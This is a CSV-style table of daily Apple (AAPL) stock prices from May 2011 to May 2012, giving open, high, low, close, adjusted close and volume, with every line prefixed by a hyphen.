-2011-05-24,47.92856979370117,47.985713958740234,47.334285736083984,47.45571517944336,41.291263580322266,80481800.0,AAPL
-2011-05-25,47.63285827636719,48.36571502685547,47.54999923706055,48.111427307128906,41.861793518066406,73556000.0,AAPL
-2011-05-26,47.9957160949707,48.12714385986328,47.77571487426758,47.85714340209961,41.640541076660156,55640200.0,AAPL
-2011-05-27,47.82857131958008,48.23285675048828,47.75857162475586,48.2014274597168,41.940101623535156,50899800.0,AAPL
-2011-05-31,48.728572845458984,49.689998626708984,48.71428680419922,49.689998626708984,43.23530578613281,104438600.0,AAPL
-2011-06-01,49.83856964111328,50.30428695678711,49.235713958740234,49.35857009887695,42.94694519042969,138670700.0,AAPL
-2011-06-02,49.5,49.711429595947266,49.18571472167969,49.44285583496094,43.020263671875,84695800.0,AAPL
-2011-06-03,49.02571487426758,49.33285903930664,48.85857009887695,49.06285858154297,42.689640045166016,78312500.0,AAPL
-2011-06-06,49.38571548461914,49.57857131958008,48.25857162475586,48.29142761230469,42.0184211730957,115485300.0,AAPL
-2011-06-07,48.310001373291016,48.317142486572266,47.41428756713867,47.43428421020508,41.27260971069336,132446300.0,AAPL
-2011-06-08,47.39714431762695,47.82857131958008,47.235713958740234,47.46285629272461,41.29747772216797,83430900.0,AAPL
-2011-06-09,47.60714340209961,47.66714096069336,47.25,47.355712890625,41.204254150390625,68772200.0,AAPL
-2011-06-10,47.22142791748047,47.380001068115234,46.501426696777344,46.55714416503906,40.50941848754883,108488800.0,AAPL
-2011-06-13,46.74285888671875,46.90142822265625,46.43857192993164,46.657142639160156,40.59642028808594,82368300.0,AAPL
-2011-06-14,47.14285659790039,47.60714340209961,47.04428482055664,47.49142837524414,41.32233428955078,83642300.0,AAPL
-2011-06-15,47.10714340209961,47.18571472167969,46.41143035888672,46.67856979370117,40.61506271362305,99799000.0,AAPL
-2011-06-16,46.70000076293945,46.95428466796875,45.47571563720703,46.4514274597168,40.41743087768555,127647800.0,AAPL
-2011-06-17,46.998573303222656,47.03571319580078,45.62285614013672,45.751426696777344,39.80836486816406,153755000.0,AAPL
-2011-06-20,45.33714294433594,45.38571548461914,44.35714340209961,45.04571533203125,39.19432067871094,160161400.0,AAPL
-2011-06-21,45.2400016784668,46.5428581237793,45.02857208251953,46.47142791748047,40.43483352661133,123345600.0,AAPL
-2011-06-22,46.4514274597168,46.985713958740234,46.05428695678711,46.08714294433594,40.1004638671875,97645800.0,AAPL
-2011-06-23,45.56285858154297,47.38428497314453,45.44571304321289,47.318572998046875,41.17193603515625,139939800.0,AAPL
-2011-06-24,47.33856964111328,47.592857360839844,46.441429138183594,46.621429443359375,40.56534957885742,109951800.0,AAPL
-2011-06-27,46.7985725402832,47.70000076293945,46.75,47.43428421020508,41.27260971069336,84953400.0,AAPL
-2011-06-28,47.66428756713867,48.099998474121094,47.63428497314453,47.894287109375,41.67286682128906,73574900.0,AAPL
-2011-06-29,48.005714416503906,48.0528564453125,47.41143035888672,47.720001220703125,41.521217346191406,88136300.0,AAPL
-2011-06-30,47.81428527832031,48.01856994628906,47.5485725402832,47.952857971191406,41.72382354736328,80738700.0,AAPL
-2011-07-01,47.99285888671875,49.07143020629883,47.74285888671875,49.03714370727539,42.667266845703125,108828300.0,AAPL
-2011-07-05,49.0,49.97571563720703,48.92856979370117,49.91857147216797,43.43419647216797,88763500.0,AAPL
-2011-07-06,49.849998474121094,50.58571243286133,49.529998779296875,50.251426696777344,43.723812103271484,111156500.0,AAPL
-2011-07-07,50.66714096069336,51.14285659790039,50.57143020629883,51.02857208251953,44.40001678466797,99915900.0,AAPL
-2011-07-08,50.477142333984375,51.42856979370117,50.31428527832031,51.387142181396484,44.711997985839844,122408300.0,AAPL
-2011-07-11,50.90571594238281,51.395713806152344,50.40285873413086,50.57143020629883,44.002254486083984,110668600.0,AAPL
-2011-07-12,50.5042839050293,51.09714126586914,49.8028564453125,50.53571319580078,43.97116470336914,112902300.0,AAPL
-2011-07-13,51.189998626708984,51.42856979370117,50.91143035888672,51.145713806152344,44.50192642211914,97909700.0,AAPL
-2011-07-14,51.57285690307617,51.658573150634766,50.90571594238281,51.11000061035156,44.47086715698242,107633400.0,AAPL
-2011-07-15,51.5957145690918,52.14285659790039,51.310001373291016,52.13142776489258,45.359615325927734,121116800.0,AAPL
-2011-07-18,52.20428466796875,53.521427154541016,52.182857513427734,53.400001525878906,46.46338653564453,143163300.0,AAPL
-2011-07-19,54.0,54.092857360839844,53.33142852783203,53.83571243286133,46.84250259399414,204786400.0,AAPL
-2011-07-20,56.58856964111328,56.61000061035156,55.14285659790039,55.271427154541016,48.091732025146484,235335100.0,AAPL
-2011-07-21,55.27857208251953,55.72285842895508,54.842857360839844,55.327144622802734,48.140201568603516,131633600.0,AAPL
-2011-07-22,55.47428512573242,56.43571472167969,55.39285659790039,56.18571472167969,48.88724899291992,129182200.0,AAPL
-2011-07-25,55.764286041259766,57.14285659790039,55.65999984741211,56.92856979370117,49.53359603881836,147451500.0,AAPL
-2011-07-26,57.14285659790039,57.78571319580078,57.09714126586914,57.630001068115234,50.143917083740234,119145600.0,AAPL
-2011-07-27,57.227142333984375,57.52000045776367,56.021427154541016,56.084285736083984,48.798988342285156,164831100.0,AAPL
-2011-07-28,55.94571304321289,56.71285629272461,55.4471435546875,55.97428512573242,48.703277587890625,148508500.0,AAPL
-2011-07-29,55.37714385986328,56.45000076293945,54.85714340209961,55.78285598754883,48.53670883178711,158146100.0,AAPL
-2011-08-01,56.825714111328125,57.07143020629883,56.0528564453125,56.67856979370117,49.31607437133789,153209000.0,AAPL
-2011-08-02,56.80714416503906,56.842857360839844,55.478572845458984,55.558570861816406,48.34157180786133,159884900.0,AAPL
-2011-08-03,55.854286193847656,56.22142791748047,54.605712890625,56.08142852783203,48.79650115966797,183127000.0,AAPL
-2011-08-04,55.630001068115234,55.90285873413086,53.907142639160156,53.90999984741211,46.90714645385742,217851900.0,AAPL
-2011-08-05,54.34857177734375,54.78571319580078,51.79571533203125,53.37428665161133,46.441017150878906,301147700.0,AAPL
-2011-08-08,51.66999816894531,52.538570404052734,50.431427001953125,50.45857238769531,43.904056549072266,285958400.0,AAPL
-2011-08-09,51.61428451538086,53.51571273803711,50.71428680419922,53.43000030517578,46.48948669433594,270645900.0,AAPL
-2011-08-10,53.021427154541016,53.521427154541016,51.78571319580078,51.95571517944336,45.20671844482422,219664200.0,AAPL
-2011-08-11,52.931427001953125,53.63571548461914,52.10285568237305,53.38571548461914,46.450958251953125,185492300.0,AAPL
-2011-08-12,54.0099983215332,54.23428726196289,53.461429595947266,53.855712890625,46.85990524291992,132244000.0,AAPL
-2011-08-15,54.23285675048828,54.9957160949707,54.012855529785156,54.772857666015625,47.65790939331055,115136000.0,AAPL
-2011-08-16,54.50285720825195,54.76714324951172,53.72285842895508,54.354286193847656,47.29372024536133,124687500.0,AAPL
-2011-08-17,54.61571502685547,54.931427001953125,54.0,54.34857177734375,47.28874588012695,110515300.0,AAPL
-2011-08-18,52.977142333984375,53.235713958740234,51.62428665161133,52.2928581237793,45.50007629394531,212858800.0,AAPL
-2011-08-19,51.73857116699219,52.42856979370117,50.85714340209961,50.861427307128906,44.25458526611328,193972100.0,AAPL
-2011-08-22,52.07285690307617,52.12571334838867,50.727142333984375,50.91999816894531,44.3055419921875,133828800.0,AAPL
-2011-08-23,51.47142791748047,53.37714385986328,51.0,53.371429443359375,46.43852996826172,164208800.0,AAPL
-2011-08-24,53.35285568237305,54.137142181396484,52.94285583496094,53.7400016784668,46.759220123291016,156566900.0,AAPL
-2011-08-25,52.1542854309082,53.63571548461914,52.14285659790039,53.388572692871094,46.45344543457031,217836500.0,AAPL
-2011-08-26,53.02428436279297,54.82857131958008,52.97142791748047,54.797142028808594,47.67904281616211,160369300.0,AAPL
-2011-08-29,55.45428466796875,55.92856979370117,55.42856979370117,55.709999084472656,48.473323822021484,101317300.0,AAPL
-2011-08-30,55.46428680419922,55.977142333984375,55.172855377197266,55.71285629272461,48.47581100463867,104480600.0,AAPL
-2011-08-31,55.79571533203125,56.01142883300781,54.551429748535156,54.97571563720703,47.83441925048828,130646600.0,AAPL
-2011-09-01,55.11714172363281,55.334285736083984,54.388572692871094,54.432857513427734,47.36207580566406,85931300.0,AAPL
-2011-09-02,53.53428649902344,54.0,53.11857223510742,53.43571472167969,46.494468688964844,109734800.0,AAPL
-2011-09-06,52.48143005371094,54.33285903930664,52.354286193847656,54.248573303222656,47.20173263549805,127424500.0,AAPL
-2011-09-07,55.08000183105469,55.08571243286133,54.57143020629883,54.84714126586914,47.7225456237793,87644200.0,AAPL
-2011-09-08,54.628570556640625,55.51571273803711,54.61571502685547,54.87714385986328,47.74866485595703,104039600.0,AAPL
-2011-09-09,54.84714126586914,55.14285659790039,53.57428741455078,53.92571258544922,46.920806884765625,141203300.0,AAPL
-2011-09-12,53.28571319580078,54.41143035888672,53.128570556640625,54.27714157104492,47.22659683227539,116958100.0,AAPL
-2011-09-13,54.591426849365234,55.172855377197266,54.32143020629883,54.94571304321289,47.80831527709961,110140100.0,AAPL
-2011-09-14,55.288570404052734,56.029998779296875,55.10857009887695,55.61428451538086,48.390045166015625,133681100.0,AAPL
-2011-09-15,55.91857147216797,56.237144470214844,55.70000076293945,56.137142181396484,48.84498596191406,104454700.0,AAPL
-2011-09-16,56.505714416503906,57.21428680419922,56.432857513427734,57.21428680419922,49.782203674316406,174628300.0,AAPL
-2011-09-19,56.71428680419922,59.03285598754883,56.4571418762207,58.80428695678711,51.1656608581543,205965200.0,AAPL
-2011-09-20,59.32143020629883,60.408573150634766,58.74142837524414,59.06428527832031,51.39188766479492,193938500.0,AAPL
-2011-09-21,59.948570251464844,60.227142333984375,58.85714340209961,58.87714385986328,51.229061126708984,151494000.0,AAPL
-2011-09-22,57.290000915527344,58.54571533203125,56.67142868041992,57.40285873413086,49.946285247802734,242120200.0,AAPL
-2011-09-23,57.182857513427734,58.105712890625,57.121429443359375,57.75714111328125,50.254547119140625,136569300.0,AAPL
-2011-09-26,57.12285614013672,57.711429595947266,55.900001525878906,57.5957145690918,50.11408615112305,203219100.0,AAPL
-2011-09-27,58.38999938964844,58.46428680419922,56.86571502685547,57.03714370727539,49.62807083129883,158124400.0,AAPL
-2011-09-28,57.16999816894531,57.67714309692383,56.644287109375,56.71571350097656,49.34839630126953,107409400.0,AAPL
-2011-09-29,57.41714096069336,57.45857238769531,55.172855377197266,55.79571533203125,48.54790115356445,162771700.0,AAPL
-2011-09-30,55.3028564453125,55.55571365356445,54.45428466796875,54.47428512573242,47.39813232421875,136910200.0,AAPL
-2011-10-03,54.33856964111328,54.66285705566406,53.310001373291016,53.514286041259766,46.56283187866211,167274800.0,AAPL
-2011-10-04,53.5099983215332,54.5428581237793,50.605712890625,53.21428680419922,46.30179977416992,308419300.0,AAPL
-2011-10-05,52.551429748535156,54.2599983215332,51.47142791748047,54.03571319580078,47.01652908325195,196617400.0,AAPL
-2011-10-06,53.33285903930664,54.968570709228516,53.11428451538086,53.90999984741211,46.90714645385742,203145600.0,AAPL
-2011-10-07,53.682857513427734,53.96285629272461,52.64142990112305,52.82857131958008,45.96617889404297,133864500.0,AAPL
-2011-10-10,54.15571594238281,55.54428482055664,54.029998779296875,55.54428482055664,48.32914352416992,110628700.0,AAPL
-2011-10-11,56.08142852783203,57.59714126586914,55.92856979370117,57.18428421020508,49.756107330322266,151421900.0,AAPL
-2011-10-12,58.191429138183594,58.46428680419922,57.16285705566406,57.45571517944336,49.992271423339844,155571500.0,AAPL
-2011-10-13,57.854286193847656,58.34714126586914,57.54999923706055,58.34714126586914,50.76789855957031,106546300.0,AAPL
-2011-10-14,59.547142028808594,60.28571319580078,59.32428741455078,60.28571319580078,52.45465850830078,143341800.0,AAPL
-2011-10-17,60.248573303222656,60.9571418762207,59.41999816894531,59.998573303222656,52.20482635498047,171511200.0,AAPL
-2011-10-18,60.251426696777344,60.68714141845703,59.42714309692383,60.31999969482422,52.4844856262207,220400600.0,AAPL
-2011-10-19,57.33571243286133,58.3457145690918,56.82857131958008,56.94571304321289,49.54852294921875,276014900.0,AAPL
-2011-10-20,57.14285659790039,57.19285583496094,56.31571578979492,56.47285842895508,49.1370735168457,137317600.0,AAPL
-2011-10-21,56.871429443359375,57.02000045776367,55.82143020629883,56.12428665161133,48.833797454833984,155311100.0,AAPL
-2011-10-24,56.59714126586914,58.07143020629883,56.485713958740234,57.96714401245117,50.4372673034668,125534500.0,AAPL
-2011-10-25,57.861427307128906,58.07857131958008,56.76856994628906,56.82428741455078,49.44286346435547,107606800.0,AAPL
-2011-10-26,57.394287109375,57.50714111328125,56.16428756713867,57.228572845458984,49.79463577270508,114076200.0,AAPL
-2011-10-27,58.22285842895508,58.42856979370117,57.41285705566406,57.81285858154297,50.30302047729492,123666200.0,AAPL
-2011-10-28,57.57143020629883,58.04999923706055,57.501426696777344,57.849998474121094,50.33534622192383,80710700.0,AAPL
-2011-10-31,57.48857116699219,58.47571563720703,57.2928581237793,57.825714111328125,50.314208984375,96375300.0,AAPL
-2011-11-01,56.772857666015625,57.07143020629883,56.174285888671875,56.644287109375,49.28623580932617,132947500.0,AAPL
-2011-11-02,57.15571594238281,57.20571517944336,56.44428634643555,56.772857666015625,49.39811706542969,81837700.0,AAPL
-2011-11-03,57.0099983215332,57.628570556640625,56.47999954223633,57.58142852783203,50.10165786743164,110346600.0,AAPL
-2011-11-04,57.432857513427734,57.63428497314453,57.022857666015625,57.17714309692383,49.74988555908203,75557300.0,AAPL
-2011-11-07,57.130001068115234,57.14285659790039,56.59000015258789,57.104286193847656,49.686492919921875,67568900.0,AAPL
-2011-11-08,57.45857238769531,58.28571319580078,57.36571502685547,58.03285598754883,50.49443817138672,100110500.0,AAPL
-2011-11-09,56.709999084472656,57.27000045776367,56.318572998046875,56.468570709228516,49.13335418701172,139671000.0,AAPL
-2011-11-10,56.718570709228516,56.744285583496094,54.592857360839844,55.031429290771484,47.882896423339844,186188100.0,AAPL
-2011-11-11,55.22999954223633,55.52857208251953,54.32285690307617,54.94571304321289,47.80831527709961,163446500.0,AAPL
-2011-11-14,54.788570404052734,55.03571319580078,54.02857208251953,54.18000030517578,47.14207077026367,108226300.0,AAPL
-2011-11-15,54.400001525878906,55.64285659790039,54.2071418762207,55.547142028808594,48.33161926269531,107702700.0,AAPL
-2011-11-16,55.60714340209961,55.87714385986328,54.90285873413086,54.96714401245117,47.82694625854492,87302600.0,AAPL
-2011-11-17,54.854286193847656,54.939998626708984,53.64285659790039,53.915714263916016,46.912113189697266,119975100.0,AAPL
-2011-11-18,54.13142776489258,54.28428649902344,53.55428695678711,53.56285858154297,46.6050910949707,92984500.0,AAPL
-2011-11-21,52.91428756713867,53.09714126586914,52.272857666015625,52.71571350097656,45.86799621582031,111995100.0,AAPL
-2011-11-22,53.00285720825195,53.9900016784668,52.99142837524414,53.78714370727539,46.80024719238281,102255300.0,AAPL
-2011-11-23,53.501426696777344,53.691429138183594,52.41143035888672,52.42714309692383,45.616905212402344,107067800.0,AAPL
-2011-11-25,52.63142776489258,53.021427154541016,51.90285873413086,51.93857192993164,45.19179916381836,63690200.0,AAPL
-2011-11-28,53.19285583496094,53.817142486572266,52.9042854309082,53.73143005371094,46.75177001953125,86603300.0,AAPL
-2011-11-29,53.691429138183594,54.11857223510742,52.88571548461914,53.31428527832031,46.388816833496094,93963800.0,AAPL
-2011-11-30,54.470001220703125,54.611427307128906,54.0428581237793,54.599998474121094,47.50751876831055,101484600.0,AAPL
-2011-12-01,54.6485710144043,55.57143020629883,54.39285659790039,55.41857147216797,48.21974563598633,96795300.0,AAPL
-2011-12-02,55.689998626708984,56.23285675048828,55.51142883300781,55.67142868041992,48.43977355957031,94763900.0,AAPL
-2011-12-05,56.21285629272461,56.630001068115234,55.77000045776367,56.144287109375,48.8511848449707,89302500.0,AAPL
-2011-12-06,56.07285690307617,56.37571334838867,55.62571334838867,55.849998474121094,48.59514236450195,70899500.0,AAPL
-2011-12-07,55.70428466796875,55.84857177734375,55.251426696777344,55.584285736083984,48.36393737792969,76186600.0,AAPL
-2011-12-08,55.92142868041992,56.5,55.74714279174805,55.808570861816406,48.5590934753418,94089100.0,AAPL
-2011-12-09,56.121429443359375,56.29142761230469,55.861427307128906,56.23143005371094,48.92702865600586,74248300.0,AAPL
-2011-12-12,55.95428466796875,56.271427154541016,55.63571548461914,55.977142333984375,48.70576477050781,75266800.0,AAPL
-2011-12-13,56.14285659790039,56.485713958740234,55.29999923706055,55.54428482055664,48.32914352416992,84732200.0,AAPL
-2011-12-14,55.24285888671875,55.34000015258789,53.95428466796875,54.31285858154297,47.25766372680664,101721900.0,AAPL
-2011-12-15,54.76142883300781,54.81999969482422,54.04428482055664,54.13428497314453,47.1023063659668,64050000.0,AAPL
-2011-12-16,54.33714294433594,54.878570556640625,54.22428512573242,54.431427001953125,47.36083984375,105369600.0,AAPL
-2011-12-19,54.638572692871094,54.978572845458984,54.354286193847656,54.6014289855957,47.508758544921875,58882600.0,AAPL
-2011-12-20,55.394287109375,56.58571243286133,55.32285690307617,56.56428527832031,49.21662902832031,84303800.0,AAPL
-2011-12-21,56.66999816894531,56.75714111328125,56.001426696777344,56.63571548461914,49.27879333496094,65737000.0,AAPL
-2011-12-22,56.71428680419922,57.01856994628906,56.58571243286133,56.93571472167969,49.53981399536133,50589700.0,AAPL
-2011-12-23,57.09857177734375,57.65571594238281,57.06999969482422,57.61857223510742,50.13396072387695,67349800.0,AAPL
-2011-12-27,57.58571243286133,58.441429138183594,57.57428741455078,58.075714111328125,50.53173065185547,66269000.0,AAPL
-2011-12-28,58.12714385986328,58.32143020629883,57.334285736083984,57.52000045776367,50.04821014404297,57165500.0,AAPL
-2011-12-29,57.628570556640625,57.95000076293945,57.21571350097656,57.87428665161133,50.35647964477539,53994500.0,AAPL
-2011-12-30,57.644287109375,58.040000915527344,57.64142990112305,57.85714340209961,50.341556549072266,44915500.0,AAPL
-2012-01-03,58.485713958740234,58.92856979370117,58.42856979370117,58.74714279174805,51.115936279296875,75555200.0,AAPL
-2012-01-04,58.57143020629883,59.2400016784668,58.468570709228516,59.06285858154297,51.390647888183594,65005500.0,AAPL
-2012-01-05,59.27857208251953,59.7928581237793,58.952857971191406,59.718570709228516,51.96118927001953,67817400.0,AAPL
-2012-01-06,59.96714401245117,60.39285659790039,59.888572692871094,60.342857360839844,52.50437545776367,79573200.0,AAPL
-2012-01-09,60.78571319580078,61.10714340209961,60.19285583496094,60.24714279174805,52.42109298706055,98506100.0,AAPL
-2012-01-10,60.84428405761719,60.85714340209961,60.21428680419922,60.46285629272461,52.60879135131836,64549100.0,AAPL
-2012-01-11,60.38285827636719,60.407142639160156,59.90142822265625,60.36428451538086,52.52302551269531,53771200.0,AAPL
-2012-01-12,60.325714111328125,60.41428756713867,59.82143020629883,60.198570251464844,52.37883758544922,53146800.0,AAPL
-2012-01-13,59.9571418762207,60.06428527832031,59.808570861816406,59.97285842895508,52.18244552612305,56505400.0,AAPL
-2012-01-17,60.599998474121094,60.855712890625,60.422855377197266,60.67142868041992,52.79026794433594,60724300.0,AAPL
-2012-01-18,60.994285583496094,61.35285568237305,60.900001525878906,61.301429748535156,53.33843231201172,69197800.0,AAPL
-2012-01-19,61.45000076293945,61.62428665161133,60.93000030517578,61.10714340209961,53.16938400268555,65434600.0,AAPL
-2012-01-20,61.06999969482422,61.07143020629883,59.96428680419922,60.0428581237793,52.243343353271484,103493600.0,AAPL
-2012-01-23,60.38142776489258,61.2071418762207,60.32857131958008,61.058570861816406,53.12712478637695,76515600.0,AAPL
-2012-01-24,60.728572845458984,60.728572845458984,59.93571472167969,60.058570861816406,52.257015228271484,136909500.0,AAPL
-2012-01-25,64.91999816894531,64.92142486572266,63.38999938964844,63.808570861816406,55.51990509033203,239578500.0,AAPL
-2012-01-26,64.05142974853516,64.11285400390625,63.30571365356445,63.51856994628906,55.2675666809082,80996300.0,AAPL
-2012-01-27,63.477142333984375,64.06857299804688,63.395713806152344,63.89714431762695,55.59696578979492,74927300.0,AAPL
-2012-01-30,63.672855377197266,64.84285736083984,63.62714385986328,64.71571350097656,56.30921173095703,94835300.0,AAPL
-2012-01-31,65.08428192138672,65.46286010742188,64.72428894042969,65.21142578125,56.74050521850586,97920900.0,AAPL
-2012-02-01,65.48714447021484,65.56999969482422,65.07857513427734,65.16999816894531,56.70449447631836,67511500.0,AAPL
-2012-02-02,65.12857055664062,65.30999755859375,64.85428619384766,65.01714324951172,56.571475982666016,46699100.0,AAPL
-2012-02-03,65.32857513427734,65.71428680419922,65.08000183105469,65.66857147216797,57.138282775878906,71649900.0,AAPL
-2012-02-06,65.48285675048828,66.42571258544922,65.45714569091797,66.28142547607422,57.671531677246094,62353200.0,AAPL
-2012-02-07,66.46428680419922,67.10713958740234,66.36856842041016,66.97571563720703,58.27562713623047,79055900.0,AAPL
-2012-02-08,67.21428680419922,68.11285400390625,67.0999984741211,68.0971450805664,59.25136947631836,101972500.0,AAPL
-2012-02-09,68.68000030517578,70.96428680419922,68.65142822265625,70.4528579711914,61.30110168457031,221053700.0,AAPL
-2012-02-10,70.13714599609375,71.08856964111328,69.79285430908203,70.48857116699219,61.3321647644043,157825500.0,AAPL
-2012-02-13,71.3614273071289,71.97571563720703,71.01285552978516,71.80000305175781,62.473228454589844,129304000.0,AAPL
-2012-02-14,72.09428405761719,72.7942886352539,71.71428680419922,72.77999877929688,63.32594680786133,115099600.0,AAPL
-2012-02-15,73.46571350097656,75.18428802490234,70.98428344726562,71.09571075439453,61.860443115234375,376530000.0,AAPL
-2012-02-16,70.21428680419922,72.12714385986328,69.51856994628906,71.7442855834961,62.42477035522461,236138000.0,AAPL
-2012-02-17,71.87285614013672,72.53857421875,71.47142791748047,71.73143005371094,62.4135856628418,133951300.0,AAPL
-2012-02-21,72.41143035888672,73.55000305175781,72.01714324951172,73.55000305175781,63.995933532714844,151398800.0,AAPL
-2012-02-22,73.2971420288086,73.64142608642578,72.72428894042969,73.29142761230469,63.77093505859375,120825600.0,AAPL
-2012-02-23,73.58285522460938,73.97571563720703,72.78571319580078,73.7699966430664,64.18733215332031,142006900.0,AAPL
-2012-02-24,74.23857116699219,74.69999694824219,74.0914306640625,74.62999725341797,64.93563842773438,103768000.0,AAPL
-2012-02-27,74.47285461425781,75.5,73.75428771972656,75.10857391357422,65.35205841064453,136895500.0,AAPL
-2012-02-28,75.42285919189453,76.48714447021484,75.12142944335938,76.48714447021484,66.5515365600586,150096800.0,AAPL
-2012-02-29,77.36571502685547,78.2300033569336,76.52857208251953,77.4914321899414,67.42536163330078,238002800.0,AAPL
-2012-03-01,78.30999755859375,78.31571197509766,76.9671401977539,77.78142547607422,67.67768096923828,170817500.0,AAPL
-2012-03-02,77.74857330322266,78.11428833007812,77.50285339355469,77.88285827636719,67.76592254638672,107928100.0,AAPL
-2012-03-05,77.91714477539062,78.21142578125,75.14286041259766,76.16571807861328,66.27188873291016,202281100.0,AAPL
-2012-03-06,74.8085708618164,76.2414321899414,73.74571228027344,75.75142669677734,65.911376953125,202559700.0,AAPL
-2012-03-07,76.68571472167969,76.82571411132812,74.75714111328125,75.81285858154297,65.96482849121094,199630200.0,AAPL
-2012-03-08,76.38428497314453,77.56999969482422,76.01714324951172,77.42713928222656,67.36941528320312,129114300.0,AAPL
-2012-03-09,77.7442855834961,78.24857330322266,77.58714294433594,77.88143157958984,67.76472473144531,104729800.0,AAPL
-2012-03-12,78.42571258544922,78.85713958740234,78.14286041259766,78.85713958740234,68.6136703491211,101820600.0,AAPL
-2012-03-13,79.64857482910156,81.16857147216797,79.39286041259766,81.15714263916016,70.61489868164062,172713800.0,AAPL
-2012-03-14,82.57857513427734,84.95999908447266,82.19999694824219,84.22571563720703,73.28487396240234,354711000.0,AAPL
-2012-03-15,85.6585693359375,85.71571350097656,82.6500015258789,83.65142822265625,72.7851791381836,289929500.0,AAPL
-2012-03-16,83.53142547607422,84.17142486572266,82.57142639160156,83.6528549194336,72.78643035888672,206371900.0,AAPL
-2012-03-19,85.48143005371094,85.9671401977539,84.1500015258789,85.87142944335938,74.7168197631836,225309000.0,AAPL
-2012-03-20,85.644287109375,86.69999694824219,84.49714660644531,86.56571197509766,75.3209228515625,204165500.0,AAPL
-2012-03-21,86.105712890625,87.09285736083984,85.91571807861328,86.07142639160156,74.89081573486328,161010500.0,AAPL
-2012-03-22,85.39714050292969,86.35713958740234,85.07571411132812,85.62000274658203,74.49805450439453,155967700.0,AAPL
-2012-03-23,85.78428649902344,85.97142791748047,84.9142837524414,85.1500015258789,74.089111328125,107622200.0,AAPL
-2012-03-26,85.68428802490234,86.7357177734375,85.03713989257812,86.71142578125,75.44770812988281,148935500.0,AAPL
-2012-03-27,86.5971450805664,88.04000091552734,86.58000183105469,87.7828598022461,76.37995147705078,151782400.0,AAPL
-2012-03-28,88.33999633789062,88.77857208251953,87.18714141845703,88.23143005371094,76.7702407836914,163865100.0,AAPL
-2012-03-29,87.54000091552734,88.08000183105469,86.74714660644531,87.12285614013672,75.80567932128906,152059600.0,AAPL
-2012-03-30,86.9671401977539,87.22285461425781,85.41999816894531,85.6500015258789,74.52416229248047,182759500.0,AAPL
-2012-04-02,85.97571563720703,88.39571380615234,85.76856994628906,88.37571716308594,76.8957748413086,149587900.0,AAPL
-2012-04-03,89.61428833007812,90.31571197509766,88.93000030517578,89.9028549194336,78.22454071044922,208639900.0,AAPL
-2012-04-04,89.19285583496094,89.4085693359375,88.14286041259766,89.18714141845703,77.60181427001953,143245200.0,AAPL
-2012-04-05,89.56857299804688,90.66571807861328,89.05714416503906,90.52571105957031,78.76651000976562,160324500.0,AAPL
-2012-04-09,89.4471435546875,91.40571594238281,89.32857513427734,90.88999938964844,79.08346557617188,149384200.0,AAPL
-2012-04-10,91.41857147216797,92.0,89.42857360839844,89.77714538574219,78.11518859863281,222431300.0,AAPL
-2012-04-11,90.88571166992188,90.98143005371094,89.04856872558594,89.45714569091797,77.83676147460938,174153700.0,AAPL
-2012-04-12,89.28571319580078,90.19000244140625,88.64286041259766,88.9671401977539,77.41039276123047,153584200.0,AAPL
-2012-04-13,89.1585693359375,89.24285888671875,86.21571350097656,86.46142578125,75.23017883300781,214911200.0,AAPL
-2012-04-16,87.15142822265625,87.18285369873047,82.60713958740234,82.87571716308594,72.11022186279297,262696700.0,AAPL
-2012-04-17,82.7057113647461,87.14286041259766,81.70143127441406,87.0999984741211,75.78578186035156,256382000.0,AAPL
-2012-04-18,87.67428588867188,88.60713958740234,86.10142517089844,86.90571594238281,75.61675262451172,238632800.0,AAPL
-2012-04-19,85.74571228027344,86.38999938964844,83.50285339355469,83.91999816894531,73.01889038085938,208679800.0,AAPL
-2012-04-20,84.48285675048828,84.94571685791016,81.48857116699219,81.85428619384766,71.22149658203125,257746300.0,AAPL
-2012-04-23,81.51571655273438,82.38143157958984,79.51714324951172,81.67142486572266,71.06238555908203,241632300.0,AAPL
-2012-04-24,80.37285614013672,81.09857177734375,79.28571319580078,80.04000091552734,69.64288330078125,269037300.0,AAPL
-2012-04-25,87.94857025146484,88.28571319580078,86.57142639160156,87.14286041259766,75.82307434082031,226444400.0,AAPL
-2012-04-26,87.75285339355469,87.81285858154297,86.01856994628906,86.81428527832031,75.53720092773438,134017100.0,AAPL
-2012-04-27,86.43856811523438,86.5971450805664,85.78571319580078,86.14286041259766,74.95297241210938,101680600.0,AAPL
-2012-04-30,85.4000015258789,85.4857177734375,83.28571319580078,83.42571258544922,72.58879089355469,126536200.0,AAPL
-2012-05-01,83.55714416503906,85.25142669677734,83.0328598022461,83.16143035888672,72.35884094238281,152749800.0,AAPL
-2012-05-02,82.89142608642578,83.9142837524414,82.69428253173828,83.71142578125,72.83739471435547,106847300.0,AAPL
-2012-05-03,84.35713958740234,84.4857177734375,82.9000015258789,83.11714172363281,72.3202896118164,97637400.0,AAPL
-2012-05-04,82.44000244140625,82.62285614013672,80.73857116699219,80.75,70.26063537597656,132498100.0,AAPL
-2012-05-07,80.21428680419922,81.82428741455078,80.17571258544922,81.35428619384766,70.78644561767578,115029600.0,AAPL
-2012-05-08,81.36856842041016,81.64286041259766,79.81857299804688,81.16857147216797,70.6248550415039,124313000.0,AAPL
-2012-05-09,80.52857208251953,81.99714660644531,80.12142944335938,81.31143188476562,70.74916076660156,120176000.0,AAPL
-2012-05-10,82.08285522460938,82.26856994628906,81.2057113647461,81.50285339355469,70.91571807861328,83300000.0,AAPL
-2012-05-11,80.71428680419922,82.06714630126953,80.62142944335938,80.95857238769531,70.44214630126953,99886500.0,AAPL
-2012-05-14,80.36714172363281,81.07286071777344,79.65714263916016,79.74571228027344,69.38682556152344,88156600.0,AAPL
-2012-05-15,80.20714569091797,80.45999908447266,78.82142639160156,79.02428436279297,68.75908660888672,119084000.0,AAPL
-2012-05-16,79.1500015258789,79.55571746826172,77.29142761230469,78.01142883300781,67.87782287597656,140224000.0,AAPL
-2012-05-17,77.90142822265625,78.21428680419922,75.73143005371094,75.73143005371094,65.89398956298828,179305000.0,AAPL
-2012-05-18,76.27999877929688,77.62999725341797,74.5971450805664,75.76856994628906,65.92630767822266,183073100.0,AAPL
-2012-05-21,76.35713958740234,80.22000122070312,76.29285430908203,80.18285369873047,69.76718139648438,157776500.0,AAPL
-2012-05-22,81.36428833007812,81.98285675048828,78.94000244140625,79.56714630126953,69.23143768310547,173717600.0,AAPL
-2012-05-23,79.64286041259766,81.82857513427734,79.0328598022461,81.5085678100586,70.9206771850586,146224400.0,AAPL
-2012-05-24,82.26714324951172,82.35713958740234,80.17571258544922,80.76000213623047,70.26934814453125,124057500.0,AAPL
-2012-05-25,80.65571594238281,80.8357162475586,79.78142547607422,80.32714080810547,69.89273071289062,82126800.0,AAPL
